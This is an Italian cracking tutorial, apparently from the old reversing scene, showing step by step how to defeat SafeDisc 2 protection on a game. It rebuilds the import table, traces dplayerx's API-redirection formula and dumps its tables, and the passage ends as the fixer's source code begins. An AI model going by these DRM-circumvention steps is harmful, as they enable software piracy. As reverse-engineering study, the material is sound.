9A 7C 1C 00 8A 7C 1C 00 7A 7C 1C 00 6C 7C 1C 00 60 7C 1C 00 4A 7C 1C 00 34 7C 1C 00 06 7C 1C 00 14 7C 1C 00 96 79 1C 00 82 79 1C 00 D4 7B 1C 00 F6 7B 1C 00 E8 7B 1C 00 A4 7B 1C 00 BE 7B 1C 00 B0 7B 1C 00 6A 7B 1C 00 92 7B 1C 00 80 7B 1C 00 38 7B 1C 00 56 7B 1C 00 44 7B 1C 00 14 7B 1C 00 2C 7B 1C 00 20 7B 1C 00 E4 7A 1C 00 02 7B 1C 00 F4 7A 1C 00 B6 7A 1C 00 D2 7A 1C 00 C2 7A 1C 00 7C 7A 1C 00 A0 7A 1C 00 8E 7A 1C 00 6A 7A 1C 00 6E 79 1C 00 60 8D 1C 00 72 8D 1C 00 7E 8D 1C 00 8A 8D 1C 00 5E 79 1C 00 questi sono i puntatori corretti per tutte le funzioni (moduli Kernel e User). Bene, gli OrginalFirstThunk ora sono a posto. Passiamo ad occuparci dei FirstThunk. Stavolta sarà tutto più semplice! Infatti come abbiamo già visto non possiamo riempire la IAT di indirizzi ricavati "a mano" dalle relative funzioni, ma dobbiamo farle ricalcolare di volta in volta a runtime giacchè per ogni pc sono diverse. Quindi possiamo semplicemente copiare gli address qui sopra anche nelle zone della iat, infatti normalmente l'array dei FirstThunk contiene la copia dell'array di OriginalFirstThunk, e poi a runtime il PEloader si occupa di risolvere gli entry point delle funzioni e di sostituirli all'array dei FirstThunk. Fate un copia/incolla e siamo a posto. Non ci resta che modificare i descrittori globali della IT: cioè la struttura a 5 dwords per ogni import. Se infatti proviamo ad eseguire l'eseguibile così com'è, otterremo un crash. Vediamone i dettagli e ci dirà che il crash è avvenuto all'EIP 001C8A5E, che guarda caso è l'offsett nella ia della funzione GetVersion (che dovrebbe essere la PRIMA call). Ciò significa che le API non vengono risolte. Andiamo all'indirizzo 1C7220 (corrispondente alla IT) e abbiamo i descrittori: +-------------+-------------+-------------+-------------+-------------+ | OrFstThunk | Time/Date | Forwarder | DLL Name | FirstThunk | +-------------+-------------+-------------+-------------+-------------+ | A8 73 1C 00 | 1B F5 D6 37 | 00 00 AA BA | 28 78 1C 00 | 48 F0 1A 00 | DDRAW | BC 73 1C 00 | 4D F5 D6 37 | 00 00 AF BE | 32 78 1C 00 | 5C F0 1A 00 | DSOUND | 00 00 00 00 | B1 AB 46 35 | 00 00 F7 BF | 42 79 1C 00 | 8C F0 1A 00 | KERNEL32 | 00 00 00 00 | A3 38 6E 35 | 00 00 F5 BF | 16 7D 1C 00 | 50 F2 1A 00 | USER32 | C4 73 1C 00 | 72 C2 3E 35 | 00 00 F2 BF | 82 7D 1C 00 | 64 F0 1A 00 | GDI32 | A0 75 1C 00 | A6 38 6E 35 | 00 00 CE 7F | C8 7D 1C 00 | 40 F2 1A 00 | SHELL32 +-------------+-------------+-------------+-------------+-------------+ etc... Innanzitutto per i moduli Kernel e User il puntatore dell'OriginalFirstThunk non è definito, quindi sostituiamo i due NULL rispettivamente con 001C73EC e 001C75B0 che sono gli offset di dove abbiamo inserito i nomi delle funzioni. Poi azzeriamo i ForwarderChain: questo ci assicura che la iat verrà ricalcolata a runtime, quindi avremo una esatta IAT sempre! I forwarder chain è meglio azzerarli per tutti i moduli ovviamente. Bene! Il lavoro sembra essere finito! Andiamo ad eseguire il nostro file crackato e... CRASH! DOH! Innanzitutto vediamo i dettagli del crash: tale crash avviene all'EIP 00EA0000. Quindi vuol dire che non è stata una api a provocare il crash, e quindi la IT è stata correttamente ricostruita. Abbiamo visto prima che l'area 00EAxxxx e successiva era quella che faceva da "ponte" per saltare poi a Dplayerx. Quindi mettiamo un break sull'EP del nostro eseguibile crackato, lanciamo il programma, e aspettiamo di vedere che succede. Innanzitutto vediamo che le call sono indicate dalle funzioni, a maggior conferma che la IT è a posto! Bene, dall'entry point steppiamo un pò. La prima api che troviamo è GetVersion, poi c'è una call. Se la eseguiamo con F10 otterremo il crash. Quindi arriviamoci e steppiamoci dentro con F8. Arriveremo all'indirizzo 005920B7. Continuiamo lo stepping, passiamo prima su HeapCreate, poi passiamo su una call che di nuovo ci manda in crash. Bene, entriamo in quella call e arriviamo a 005920F3. Il codice è più o meno il seguente: 005920F3 push push push call GetVersion test mov ret quindi in queste poche righe c'è qualcosa che non va. Che ci fa un GetVersion dopo un HeapCreate???? Se steppiamo queste linee va tutto bene, finchè arriviamo al RET. Arrivati al RET non lo eseguite, ma guardate lo stack pointer (d esp). Questo punta a 00EA0000, che è l'indirizzo dove verrà riportata l'esecuzione. Guarda caso è anche l'indirizzo che ci veniva segnalato nel crash :-). Cosa succede? Che l'api chiamata è sbagliata: ciò porta a uno scompenso dello stack, quindi al momento del ret non avremo il corretto indirizzo di ritorno ma avremo un valore che non c'entra nulla. Lo so che questo vi fa incazzare, ma non è colpa nostra! La IT è stata ricostruita perfettamente. Prendiamo il programma originale, iniziamo l'esecuzione dall'entry point e arriviamo fino all'indirizzo della GetVersion qui sopra. Nel programma originale non avrete la call risolta, quindi come prima steppiamo nella call, ci passiamo il dplayer e vediamo a che api ci porta il tutto: a HeapAlloc! Questo è un risultato più attendibile: insomma, dopo un HeapCreate ci sta bene un HeapAlloc (e non un GetVersion). Bene. Torniamo al NOSTRO eseguibile crackato, ripartiamo dall'entry point fino ad arrivare a questo benedetto GetVersion, e ci steppiamo dentro con F8. Finiremo ovviamente all'EP della funzione GetVersion, quindi digitiamo r eip HeapAlloc così finiremo sull'EP di HeapAlloc. Ora con F12 torniamo al processo dell'eseguibile crackato, steppiamo fino al ret, lo eseguiamo e non crashamo! Voilà! Continuiamo l'esecuzione e sbattiamo di nuovo su un'altra call che ci crasha. Cmq abbiamo capito cosa succede. La IT è valida, sono le chiamate ad essa dal codice che non sono valide! Infatti le due call a GetVersion hanno un opcode IDENTICO, cioè all'inizio del prog viene giustamente chiamato GetVersion, e questo è plausibile, ma poi viene chiamato di nuovo al posto di HeapAlloc, e questo non è affatto sensato. Se l'opcode è identico vuol dire che entrambe le chiamate puntano allo stesso valore della IAT, quindi possiamo escludere ulteriormente un errore della IAT. Beh, vediamo un pò: l'opcode della calla GetVersion è il seguente: FF 15 48 F1 5A 00 call [005AF148] dove 005AF148 è il puntatore all'entry point della funzione nella IAT. Arrivati alla seconda call a GetVersion dobbiamo modificare l'opcode affinchè punti nella IAT non al valore di GetVersion ma a quello di HeapAlloc, che si trova all'rva 1AF188, quindi al va 005AF188 e l'opcode diventa: FF 15 88 F1 5A 00 call [005AF188] ora se eseguiamo il programma la seconda call a GetVersion che abbiamo modificata diventerà d'incanto una call a HeapAlloc. E questo ci fa evitare il primo crash. Ma poi purtroppo c'è un altro crash. Ovviamente dobbiamo aspettarci questo fix per mooolte call (ma non tutte). Il problema è dato dal fatto che le chiamate venivano smistate dal ponte a 00EBxxxx e poi da dplayer. Invece di definire un handler per ogni singola call, hanno raggruppatto le call che poi vengono risolte dal ponte e dal dplayer. Cioè, a 005AF148 corrispondono più funzioni (GetVersion, HeapAlloc), quindi il programma chiama [005AF148], poi safedisc smista la chiamata alla giusta funzione. E' quindi chiaro che tutte le call a 005AF148 devono essere fixate per chiamare DIRETTAMENTE le giuste funzioni. Chiaramente non solo 5AF148, ma tutte le call del programma devono essere esaminate e nel caso fixate! Tutte le call a USER e KERNEL per fortuna! Farlo a mano non è molto consigliato, quindi dobbiamo studiarci il sistema per automatizzare il tutto. Naturalmente adesso ci toccherà esaminare per bene il DPLAYERX per vedere come fa ad assegnare ad una call la giusta API. Ho parlato con Yado in chat e lui mi ha detto che le call vengono risolte in base all'EIP. In effetti anche ad intuito questa era l'ipotesi più probabile. Quindi chiamando lo stesso valore della IAT il dplayer si occupa di vedere l'offset dell'opcode stesso, quindi gli assegna la giusta API. La nostra idea è quella di sniffare il punto in cui avviene l'assegnamento della giusta API, capire come tutto ciò avviene e scrivere un prog che ci risolverà in automatico tutte le call che ci servono in base al loro offset! Facile no? Quindi riprendiamo il TDR originale e cominciamo l'analisi. La prima api-call dopo l'entry point si trova a: 0058CEA1 call [005AF148] 0058CEA7 quindi partiamo da questa. Ci steppiamo dentro e arriviamo a: 00EBA688 push BFEA1333 pushfd pushad push esp indirizzo di ritorno push 2F identificativo della funzione push 00 identificativo del modulo (0 kernel/1 user) call [00EBA6C3] annamo ar dplayer :-) e da questa call arriviamo al DPLAYER. Non riporterò tutto il codice ma solo le linee più importanti: 00973270 start ... 009732BC sub eax, 6 ottiene il VA che ha chiamato l'API ... 009733C1 call 009712A0 controlla se il VA caller si trova nella sezione di codice (>1000 e <1AE54D) ... 009733F0 sub ecx, eax ottiene l'RVA del VA caller ... 00973412 call 00977090 importante! qui si decide quale API chiamare 00977090 start ... 00977163 call ebx questa call viene eseguita 2 volte (ma chiama procedure diverse) e trasforma l'RVA caller in un valore xxx tenetelo a mente, la chiameremo ROUTINE DECISIVA ... 00977199 div ecx divide il valore xxx per 4 ed in base al resto setta un flag ... 0097341F cmp eax, 01 controlla il flag settato poco fa jnz 009734CD qui decidiamo quali delle due strade prendere... jmp 00973431 ... e quindi quale API chiamare ... 009734F3 mov ecx, [eax*4+edx] in entrambi i casi si arriva qui. In eax troveremo il numero identificativo della funzione (bada che può non essere uguale a quello visto all'inizio), ed in edx c'è 00FB700C che il base address di una tabella di bytes, dalla quale otterremo un altro valore utile. Nel caso della nostra prima call, da 2F otterremo 51 ... 00973508 imul edx, edx, 377 edx = 51, 51*377 = 118A7 ... 00973511 mov ecx, [edx+eax+322] edx = 118A7 e eax = 00EB0078, che è il base address dell'inizio dei nomi criptati delle funzioni. e qui ci fermiamo. Dopo questa ultima istruzione infatti in ECX avremo il puntatore al nome criptato della funzione, che poi verrà decrittato e usato con GetProcAddress. Quello che ora dobbiamo fare è determinare cosa succede se scegliamo una o l'altra strada a 0097341F. Se eax è 0, allora il JNZ ci sparerà alla locazione 009734CD, altrimenti andremo a 00973431. Basta debuggare il relativo codice e vediamo quello che succede. Se prendiamo il caso della CALL [005AF148] vediamo che la prima volta viene chiamata da 0058CEA1. In questo caso nel dplayer arriviamo a 0097341F con eax = 0, quindi salteremo a 009734CD. L'identificativo per la funzione era 2F, tramite una tabella gli viene associato il valore 51. Questa tabella ci serve, quindi occhio alla linea: 009734F3 MOV ECX, [EAX * 4 + EDX] dove eax è l'identificativo della funzione (2F), e edx è il base address della tabella. Che si fa ora? Si dumpa la tabella! Avete ancora Icedump vero??? Dumpare questa tabella è facile. Se la osservate vedrete tutte dword del tipo xx 00 00 00, e dopo queste dword ci sono dei puntatori, che guarda caso puntano ai nomi criptati delle stringhe. Poi ci sono i nomi criptati, e poi di nuovo si ripete il tutto (tabella, puntatori, nomi funzioni). Infatti questo pezzo di codice vale per i 2 moduli, il primo terzetto tab-ptr-name è usato per KERNEL, il secondo per USER. E fin qui ci siamo. Nella formula di prima il base addresso della tabella è FB7008. Cmq basta guardare a occhio e vediamo che la tabella è definita in un'area di 1000h bytes che vanno da FB7000 a FB8000. Voilà, ci dumpiamo tutto :-). Ecco cosa dovreste aver dumpato: CC 3E ED 00 06 00 00 A0 9C 01 00 A0 45 00 00 00 tabella identificatori di funzioni 50 00 00 00 19 00 00 00 47 00 00 00 2E 00 00 00 per il KERNEL 1A 00 00 00 42 00 00 00 01 00 00 00 34 00 00 00 (EID table) 0C 00 00 00 48 00 00 00 3A 00 00 00 58 00 00 00 08 00 00 00 43 00 00 00 32 00 00 00 2D 00 00 00 4A 00 00 00 4C 00 00 00 1F 00 00 00 4F 00 00 00 60 00 00 00 56 00 00 00 03 00 00 00 0F 00 00 00 10 00 00 00 61 00 00 00 36 00 00 00 30 00 00 00 0E 00 00 00 4E 00 00 00 1D 00 00 00 28 00 00 00 59 00 00 00 63 00 00 00 14 00 00 00 02 00 00 00 11 00 00 00 20 00 00 00 5A 00 00 00 04 00 00 00 44 00 00 00 00 00 00 00 40 00 00 00 2B 00 00 00 55 00 00 00 3D 00 00 00 51 00 00 00 2C 00 00 00 0D 00 00 00 52 00 00 00 39 00 00 00 07 00 00 00 57 00 00 00 15 00 00 00 12 00 00 00 62 00 00 00 05 00 00 00 25 00 00 00 38 00 00 00 22 00 00 00 2A 00 00 00 06 00 00 00 37 00 00 00 09 00 00 00 5E 00 00 00 21 00 00 00 5B 00 00 00 3F 00 00 00 29 00 00 00 54 00 00 00 31 00 00 00 46 00 00 00 4D 00 00 00 49 00 00 00 27 00 00 00 16 00 00 00 4B 00 00 00 1B 00 00 00 33 00 00 00 0A 00 00 00 0B 00 00 00 5D 00 00 00 65 00 00 00 3E 00 00 00 5F 00 00 00 18 00 00 00 53 00 00 00 2F 00 00 00 13 00 00 00 35 00 00 00 17 00 00 00 23 00 00 00 26 00 00 00 24 00 00 00 64 00 00 00 3B 00 00 00 1C 00 00 00 5C 00 00 00 1E 00 00 00 41 00 00 00 3C 00 00 00 9C 01 00 A0 44 73 FB 00 60 73 FB 00 puntatori ai nomi delle funzioni 74 73 FB 00 90 73 FB 00 A0 73 FB 00 B8 73 FB 00 per il KERNEL D0 73 FB 00 E0 73 FB 00 F4 73 FB 00 14 74 FB 00 28 74 FB 00 38 74 FB 00 48 74 FB 00 60 74 FB 00 78 74 FB 00 8C 74 FB 00 A8 74 FB 00 C4 74 FB 00 D8 74 FB 00 EC 74 FB 00 08 75 FB 00 18 75 FB 00 28 75 FB 00 3C 75 FB 00 5C 75 FB 00 78 75 FB 00 90 75 FB 00 A8 75 FB 00 C0 75 FB 00 D8 75 FB 00 EC 75 FB 00 00 76 FB 00 14 76 FB 00 30 76 FB 00 48 76 FB 00 58 76 FB 00 6C 76 FB 00 80 76 FB 00 90 76 FB 00 A4 76 FB 00 B8 76 FB 00 D4 76 FB 00 E4 76 FB 00 F8 76 FB 00 0C 77 FB 00 1C 77 FB 00 2C 77 FB 00 44 77 FB 00 60 77 FB 00 74 77 FB 00 88 77 FB 00 98 77 FB 00 AC 77 FB 00 C4 77 FB 00 E4 77 FB 00 F8 77 FB 00 08 78 FB 00 1C 78 FB 00 34 78 FB 00 4C 78 FB 00 5C 78 FB 00 74 78 FB 00 88 78 FB 00 98 78 FB 00 B0 78 FB 00 C0 78 FB 00 D8 78 FB 00 E8 78 FB 00 04 79 FB 00 20 79 FB 00 3C 79 FB 00 58 79 FB 00 68 79 FB 00 78 79 FB 00 8C 79 FB 00 9C 79 FB 00 AC 79 FB 00 C0 79 FB 00 D4 79 FB 00 E4 79 FB 00 F4 79 FB 00 04 7A FB 00 14 7A FB 00 30 7A FB 00 4C 7A FB 00 60 7A FB 00 74 7A FB 00 90 7A FB 00 A4 7A FB 00 BC 7A FB 00 D8 7A FB 00 F4 7A FB 00 0C 7B FB 00 1C 7B FB 00 2C 7B FB 00 40 7B FB 00 54 7B FB 00 68 7B FB 00 88 7B FB 00 98 7B FB 00 AC 7B FB 00 BC 7B FB 00 1C 00 00 A0 56 3F 53 36 62 0B 66 03 57 38 74 1B \ tagliato, contiene ... 8< snip \ soltanto i nomi 39 00 00 00 14 00 00 A0 43 26 52 14 7D 11 74 24 \ criptati delle 4B 22 4C 38 5D 2F 2F 00 10 00 00 A0 58 3D 5C 2C \ funzioni di KERNEL 6F 1D 78 19 6D 08 08 00 10 00 00 A0 57 32 46 00 69 05 60 34 4D 3D 58 58 00 01 00 A0 09 00 00 00 tabella identificatori di funzione 30 00 00 00 32 00 00 00 02 00 00 00 27 00 00 00 per USER 2C 00 00 00 19 00 00 00 36 00 00 00 0E 00 00 00 (EID table) 2E 00 00 00 31 00 00 00 03 00 00 00 0B 00 00 00 0D 00 00 00 01 00 00 00 2D 00 00 00 0F 00 00 00 08 00 00 00 25 00 00 00 1F 00 00 00 07 00 00 00 0C 00 00 00 20 00 00 00 33 00 00 00 3E 00 00 00 37 00 00 00 00 00 00 00 23 00 00 00 15 00 00 00 13 00 00 00 3C 00 00 00 35 00 00 00 14 00 00 00 1E 00 00 00 12 00 00 00 05 00 00 00 10 00 00 00 0A 00 00 00 28 00 00 00 34 00 00 00 21 00 00 00 1D 00 00 00 17 00 00 00 29 00 00 00 3D 00 00 00 38 00 00 00 22 00 00 00 3A 00 00 00 1B 00 00 00 26 00 00 00 2A 00 00 00 39 00 00 00 06 00 00 00 18 00 00 00 2F 00 00 00 2B 00 00 00 24 00 00 00 04 00 00 00 16 00 00 00 3B 00 00 00 1C 00 00 00 1A 00 00 00 11 00 00 00 00 01 00 A0 CC 7D FB 00 E4 7D FB 00 F4 7D FB 00 0C 7E FB 00 1C 7E FB 00 puntatori ai nomi delle funzioni 34 7E FB 00 44 7E FB 00 58 7E FB 00 6C 7E FB 00 per USER 7C 7E FB 00 94 7E FB 00 A4 7E FB 00 B8 7E FB 00 C8 7E FB 00 D8 7E FB 00 E8 7E FB 00 FC 7E FB 00 14 7F FB 00 28 7F FB 00 38 7F FB 00 48 7F FB 00 60 7F FB 00 70 7F FB 00 84 7F FB 00 9C 7F FB 00 B0 7F FB 00 C0 7F FB 00 D0 7F FB 00 E4 7F FB 00 38 3C ED 00 48 3C ED 00 5C 3C ED 00 78 3C ED 00 8C 3C ED 00 A0 3C ED 00 B0 3C ED 00 C8 3C ED 00 DC 3C ED 00 EC 3C ED 00 FC 3C ED 00 10 3D ED 00 28 3D ED 00 3C 3D ED 00 4C 3D ED 00 60 3D ED 00 74 3D ED 00 88 3D ED 00 A0 3D ED 00 B8 3D ED 00 CC 3D ED 00 E0 3D ED 00 F8 3D ED 00 0C 3E ED 00 20 3E ED 00 38 3E ED 00 48 3E ED 00 58 3E ED 00 68 3E ED 00 7C 3E ED 00 90 3E ED 00 A0 3E ED 00 B0 3E ED 00 C0 3E ED 00 18 00 00 A0 43 26 48 2C 68 04 63 2A 5E 3B 56 1B 7E 0D 7E 1F 78 1D 5C 5C \ ... 8< snip \ nomi criptati delle 1C 00 00 A0 42 27 4B 2E 4F 3C 59 1D 5E 5E 00 00 \ funzioni di USER 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 \ bella vero? Ora abbiamo la tabella quindi possiamo risolvere la precedente formula per associare all'identificativo della funzione un valore xx della tabella. Questo ci servirà per scrivere il fixer ovviamente. Ora che sappiamo come fa a passare da 2F a 51 vediamo cosa succede. Viene usato il base address 00FB71A8 che è l'inizio dei nomi di funzione criptati, indi con la formula 51 * 4 + FB71A8 ottiene il puntatore alla funzione criptata (GetVersion), della quale il dplayer otterrà l'address (dopo averla decrittata nel modo già descritto). Vediamo l'altro caso. Poco dopo la precedente funzione arriviamo di nuovo a 00592100 CALL [005AF148] ci steppiamo dentro, e nel dplayer quando arriviamo a 0097341F avremo eax = 1, quindi invece del JNZ finiremo nel JMP 00973431. Quindi arriviamo nel codice che sta PRIMA del precedente caso (009734CD). Qui non succede molto, la cosa importante è che viene cambiato l'identificativo della funzione, che da 2F diventa 3F. Come facciamo a determinare il cambiamento? Di nuovo basta steppare il codice e vediamo che succede la seguente cosa. 2F + 66 = 95 BBE942D4 / 66 = 01D79EC5 (resto 56) 95 - 56 = 3F 3F % 66 = 3F bada che per kernel32 usiamo il parametro 0x66, per user va usato 0x3F. Ora da dove salta fuori BBE942D4?? Dalla seguente formula: EIP - 00401000 --> 00592100 - 00401000 = 00191100 BBD031D4 + 00191100 = BBE942D4 dove i valori BBD031D4 e il precedente 66 sono sempre fissi. Ora che ha ottenuto il valore 3F verrà riusata la formula precedente: gli verrà associato un valore XX tramite la solita tabella, quindi si avrà: XX * 4 + FB71A8 e otterremo il puntatore alla funzione criptata ALTERNATIVA (in questo caso HeapAlloc). Ecco quindi risolto il mistero delle chiamate multiplte :-) Ora però c'è ancora un caso da tenere in considerazione: non ci sono solo strutture del tipo CALL [iat-value] per le quali abbiamo già visto cosa succede, ma ci sono anche strutture del genere: MOV ESI, dword ptr [iat-value] PUSH dword ptr [valore] CALL ESI quindi abbiamo visto cosa succede nel caso di call [iat-value], ora dobbiamo esaminare l'altro caso. Si lo cosa state pensando: "che palle! Non si finisce maiii", beh avete ragione :-) E pensate che dobbiamo ancora arrivare a scrivere il fixer :-P. Cmq pensate a me che a scrivere tutte ste menate mi si consuma la tastiera (e il cervellino)... Vabbè, proseguiamo che sennò famo notte. Allora dicevamo, che dicevamo? Ah già, che dobbiamo esaminare il caso delle CALL ESI. Quando scriveremo il fixer infatti dovremmo effettuare una scansione degli opcode per trovare le call, indi dobbiamo tenere conto di entrambe le forme di call. Ma andiamo a vedere a runtime che succede alla CALL ESI. Si finisce sempre nel dplayer alla solita routine, viene controllato l'algoritmo, e si arriva all'indirizzo della decisione fatale: 0097341F. Nella call precedente a questa riga abbiamo visto che veniva confrontato il resto di tutto quel cazz di calcolo. Se il resto è >= 2 then don't fix, se invece è <2 fix! Nella divisione per 4 essendo le classi resto i valori [0, 1, 2, 3] abbiamo la metà delle possibilità di fixaggio :-). Cmq, se il resto è >= 2 il fix non avviene, e viene chiamata l'api puntata effettivamente dalla nostra IAT. Se invece il resto è <2, saltiamo alla routine del fixaggio. In tale routine però, prima di procedere al fixing, viene controllato l'opcode del caller: 00973472 mov al, [edx] edx = puntatore all'opcode della call cmp eax, FF controlla se è FF jnz 009734CD se non lo è, salta il fixing e poco dopo viene confrontato il byte seguente dell'opcode con il valore 15h. In pratica il DPLAYER controlla che la chiamata abbia l'opcode FF 15 xx xx xx xx, corrispondente alla CALL [api]. Se l'opcode è diverso, allora vuol dire che siamo in una CALL ESI, quindi salta automaticamente il fixing. Bene!!!!! Lavoro risparmiato per noi :-))). A che pro tutto questo? Beh, devo ancora postare il codice relativo alla ROUTINE DECISIVA (vedete prima), ma cmq tale routine consiste in un calcolo veramente orribile pieno di XOR, ROR, ROL, ADD, SUB, volto a trasformare l'RVA del caller nel valore il cui resto della divisione per 4 ci dirà se dobbiamo fixare o no. Ma chi ci assicura che tale calcolo funziona sempre???? Insomma l'RVA delle call non è un fattore che possiamo conoscere a priori, nè tantomeno possiamo definire una funzione per studiarne la disposizione, che è casuale. Quindi tutto questo fottuto casino del DPLAYER potrebbe finire per portarci a fixare una call che in realtà non deve essere fixata. Bene!!!! Hanno ben pensato di usare l'opcode stesso come flag, in modo di riparare agli errori dell'algoritmo. Insomma, la cosa è di questo genere: l'opcode del caller è FF 15 xx xx xx xx (call [api])? Se si, allora procediamo normalmente e vediamo se la rilocazione deve avvenire o no. Se no (caso FF D6 call esi), allora qualsiasi sia l'esito dell'algoritmo NON rilocare. e così siamo sicuri che non avremo errori del cacio. Bah che robaccia. Beh, questo riduce notevolmente il lavoro del nostro fixer. Cmq non è un lavoro piacevole da fare a mano. Ora ci manca solo la ROUTINE DECISIVA. Non la posto ora, la posto direttamente nel codice del fixer, cmq le due routine chiamate sono 00976E03 - la prima parte 00976CEE - la seconda parte ogni volta dopo questa call (la call ebx a 00977163) c'è uno XOR del valore passato alla CALL EBX con il suo valore di ritorno. Ora occupiamoci di sintetizzare l'algoritmo del nostro fixer. Adesso abbiamo tutti gli elementi per procedere. Essenzialmente abbiamo tutte tabelle, e il nostro algoritmo non deve fare altro che partendo dal CALLER tramite le associazioni da tabella a tabella arrivare alla funzione da chiamare. nsomma una cosa così: +---------+-------+---------+----------+ | IAT | ID | EID | POINTER | +---------+-------+---------+----------+ | dword 0 | id 0 | eid 0 | ptr 0 | | dword 1 | id 1 | eid 1 | ptr 1 | ... ... ... ... [005AF148] -> id 2F -> eid 51 -> ptr alla corretta api ... ... ... ... | dword n | id n | eid n | ptr n | +---------+-------+---------+----------+ ovviamente i valori delle tabelle sono tutti mescolati, non è che alla prima dword corrisponde l'id 0 e l'eid 0 etc... E' per questo che serve il fixer :-). Allora partiamo dall'inizio. Ecco tutti i passi che dovremo affrontare. ---------- SCANSIONE OPCODES Faremo una scansione della sezione .text del gioco, in cerca di tutte le CALL [api], quindi cercheremo un opcode FF 15 xx xx xx xx. Una volta trovato, andremo ad analizzare l'argomento xx xx xx xx della call. Se tale argomento sarà un puntatore ad un valore nella IAT relativa al KERNEL o USER, allora procediamo. ---------- IAT Siamo alla fine del ventesimo secolo. mmm no, quello è Ken. Sorry. Siamo nella IAT di uno dei due moduli che ci servono. Come facciamo a sapere che ci siamo? A che serve essere qui? Abbiamo ad esempio la call [005AF148]. Se vediamo la IAT del modulo kernel (prendere il PEditor ed Hexeditor forza!), ebbene vediamo nei descrittori della IT che abbiamo aggiustato, che la IAT del Kernel inizia a 001AF08C e finisce a 001AF24C (dove comincia l'iat del modulo seguente). L'argomento della call è in formato VA, quindi in RVA diventa 1AF148. Abbiamo quindi che 001AF08C <= 001AF148 <= 001AF224, quindi sappiamo che la call è diretta ad una funzione del Kernel. Questa discriminazione la dobbiamo fare sia perchè degli altri moduli importati non ci frega niente, sia perchè dobbiamo sapere se la funzione è del Kernel o di User, in quanto poi dovremo applicare la relativa tabella. Cmq, ora che siamo sicuri sulla provenienza di 001AF148 dobbiamo semplicemente associargli il relativo identificatore. ---------- ID Per la call [005AF148] arrivavamo nella locazione ponte 00EBA688 dove c'era il bel PUSH 2F. Ebbene, 2F è l'identificativo col quale otterremo ciò che vogliamo. C'è un piccolo problema: come facciamo a sapere che a 005AF148 è associato 2F? Qui la cosa sarebbe complicata. Ci dovremmo dumpare tutta la locazione di ponte e vedere man mano dal disassemblato (rigorosamente binario) cosa viene associato a chi. Invece, grazie alla nostra perfetta ricostruzione dei FirstThunk tutto ciò non è necessario :-). Ancora non capite? Bene, mano al softice. Breakate sull'entry point del programma (as usual), ed andiamo a vedere il VA 005AF08C, che è il corrispondente dell'RVA 1AF08C, cioè vediamo in memoria la IAT interessata. Vediamo le prime quatro dwords: 00EB03AF 00EB0726 00EB0A9D 00EB0E14 bene. Queste sono le locazioni che puntano al codice di "ponte" in cui viene pushato l'identificativo della funzione. Vediamo il disassemblato di tali locazioni. Cominciamo dalla prima. Basta battere u 00EB03AF e visualizziamo il relativo codice. Vediamo che il push "identificativo" pusha il valore 0. Bene. u 00EB0726 e qui troviamo un push 01. Proviamo col prossimo: u 00EB0A9D e troviamo push 02. A questo punto le vostre rotelle saranno già arrivate dove volevo andare a parare :-P. 0.. 1... 2... 3... l'associazione ID è ordinale :-))). Questo ci facilita enromemente il lavoro! Infatti la IAT è solo un array di puntatori, dove l'identificativo corrispondente a un puntatore è il suo indice stesso nell'array. Facile no? Cioè, per trovare l'identificativo a questo punto non dobbiamo far altro che sottrarre il base address della IAT e dividere il risultato per 4 (il prog considera BYTE pointers non DWORDS). Cioè, per l'esempio di call [005AF148] possiamo fare: 005AF148 - 005AF08C = BC BC / 4 = 2F preso! Ora abbiamo l' ID, passiamo all'EID (extra-id :-)). ----------EID Ora che abbiamo l'ID basta applicare la formuletta che abbiamo visto prima sulla tabella dumpata. La formuletta era: xx * 4 + base_address_eid_table solo che il base address lo possiamo eliminare. Infatti noi metteremo la tabella EID in un array, quindi di nuovo l'EID che vogliamo ottenere ci sarà dato dall'ID usato come indice dell' EID_ARRAY. Di nuovo esempio pratico. L'ID pari a 2F (47 dec) siginifica che il 47° elemento della eid_table è quello che vogliamo (contare per credere :-)). La formula sopra citata non ci serve perchè come base address noi abbiamo la variabile che dichiaraimo e il fattore 4 lo escludiamo perchè piazziamo gli eid nell'array in modo sequenziale, senza mettere pure gli zeri. Quindi definiamo char eid[200] ci basterà un semplice assegnamento valore = eid[47] ed otterremo l'EID che vogliamo. Però dobbiamo tenere conto del fixing, quindi come visto prima il 2F potrebbe cambiare in 3F. Per ottenere l'EID il procedimento non cambia, dobbiamo solo per ogni dword calcolarci la ROUTINE DECISIVA e poi ottenere 3F tramite il procedimento visto. Di nuovo vi rimando al sorgente che posterò qui sotto. Ora passiamo al prossimo passo. ---------- POINTER Il pointer è l'ultimo valore che a noi interessa. Infatti nella tabella con gli EID-ptr-nomi il pointer punta al nome criptato della funzione. Quindi basta sapere a che nome punta e sapremo che funzione chiama la nostra call. I nomi di funzioni però sono criptati :-( Ecco che ci torna utile ancora l'ImportNameDecrypter il cui source vi ho postato prima!! Eh già, il decrypting è identico. Prendiamo la tabella, leviamo gli EID e i PTR, lasciamo solo i nomi criptati delle funzioni. Usiamo il decrypter, e otterremo la lista delle Api belle in chiaro. Beh quasi! Il primo char manca, ma non fa niente, tanto le api si riconoscono lo stesso. Adesso notiamo che le api hanno un ordine diverso da quello che avevano nella IT originale, ma non fa niente. Ora ci rimane l'ultimo passo. ---------- FASE FINALE: METTERE IL PUNTATORE VALIDO DELLA IAT NELL'OPCODE Okei. Abbiamo ottenuto da 2F il puntatore, sappiamo che punta a GetVersion, ora dobbiamo aggiustare l'opcode della call per puntare effettivamente a GetVersion. Cioè, nel solito caso di call [005AF148] non dobbiamo fare nulla, perchè la call non viene relocata. Nel secondo caso, quello alla linea 00592100 c'è sempre la solita call [005AF148], solo che stavolta la rilocazione avviene. Quindi otteremo l'ID 3F e da lì arriveremo al puntatore a HeapAlloc. Okei. Nella IT che abbiamo ricostruito noi il puntatore a HeapAlloc si trova alla posizione 005AF188, quindi la call dovrà essere modificata in call [005AF188]. Per farlo basterà costruire una nostra tabella in cui associamo il puntatore ottenuto al valore valido della IAT. E qui abbiamo finito. Naturalmente noi non dovremo sobbarcarci tutta questa procedura. Una volta usata la funzione per calcolare se la rilocazione avviene o no possiamo direttamente prendere il valore associato tramite l'ID della funzione (semplicemente moltiplicando l'ID per 4 e sommandolo alla base 1AF08C). Inutile fare giri e rigiri con EID. Cioè, partiamo dalla solita call a GetVersion, determinato che il suo ID è 2F dobbiamo solo calcolare tramite l'RVA Caller se la rilocazione avviene o no. Se non avviene è bene, altrimenti correggiamo l'opcode. Immagino che vi ho fatto due palle così, ma ora finalmente arriva il source del fixer! --------------------------------------BEGIN------------------------------------------------------------------- void CSafedisc2Dlg::OnButton1() { // TODO: Add your control notification handler code here // FIXING ROUTINE HANDLE FileHandle, FixedHandle; long 